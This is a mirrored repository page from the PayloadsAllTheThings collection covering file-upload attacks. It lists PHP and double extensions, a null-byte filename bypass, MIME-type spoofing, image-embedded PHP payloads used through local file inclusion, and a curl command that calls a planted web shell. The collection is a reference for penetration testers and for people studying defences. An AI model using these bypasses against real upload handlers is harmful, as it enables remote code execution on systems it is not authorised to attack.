Mirrors/PayloadsAllTheThings
2
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-12-15 07:42:57 +00:00
Code Issues Projects Releases Packages Wiki Activity
PayloadsAllTheThings/FIX_Upload Insecure Files
History
Swissky 21d1fe7eee Fix name - Part 1
2019-03-07 00:07:14 +01:00
..
Configuration Apache .htaccess Fix name - Part 1 2019-03-07 00:07:14 +01:00
Configuration Busybox httpd.conf Fix name - Part 1 2019-03-07 00:07:14 +01:00
Configuration IIS web.config Fix name - Part 1 2019-03-07 00:07:14 +01:00
Configuration Python __init__.py Fix name - Part 1 2019-03-07 00:07:14 +01:00
CVE Ffmpeg HLS Fix name - Part 1 2019-03-07 00:07:14 +01:00
CVE Image Tragik Fix name - Part 1 2019-03-07 00:07:14 +01:00
CVE ZIP Symbolic Link Fix name - Part 1 2019-03-07 00:07:14 +01:00
EICAR Fix name - Part 1 2019-03-07 00:07:14 +01:00
Extension Flash Fix name - Part 1 2019-03-07 00:07:14 +01:00
Extension HTML Fix name - Part 1 2019-03-07 00:07:14 +01:00
Extension PDF JS Fix name - Part 1 2019-03-07 00:07:14 +01:00
Extension PHP Fix name - Part 1 2019-03-07 00:07:14 +01:00
Picture Metadata Fix name - Part 1 2019-03-07 00:07:14 +01:00
Picture Resize Fix name - Part 1 2019-03-07 00:07:14 +01:00
Server Side Include Fix name - Part 1 2019-03-07 00:07:14 +01:00
README.md Fix name - Part 1 2019-03-07 00:07:14 +01:00

README.md

Upload

Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code.

Tools

Exploits

PHP Extension

.php
.php3
.php4
.php5
.php7

Less known extensions
.pht
.phar
.phpt
.pgif
.phtml

Double extensions
.jpeg.php
.jpg.php
.png.php

Upload tricks

  • Null byte (eg: shell.php%00.gif, shell.php%00.png), works well against pathinfo()
  • Mime type, change Content-Type : application/x-php or Content-Type : application/octet-stream to Content-Type : image/gif

Picture upload with LFI

Valid pictures hosting PHP code. Upload the picture and use a local file inclusion to execute the code. The shell can be called with the following command : curl 'http://localhost/test.php?0=system' --data "1='ls'".

  • Picture Metadata, hide the payload inside a comment tag in the metadata.
  • Picture Resize, hide the payload within the compression algorithm in order to bypass a resize. Also defeating getimagesize() and imagecreatefromgif().

Configuration Files

  • .htaccess
  • web.config
  • httpd.conf
  • __init__.py

CVE - Image Tragik

HTTP Request
Reverse Shell
Touch command

References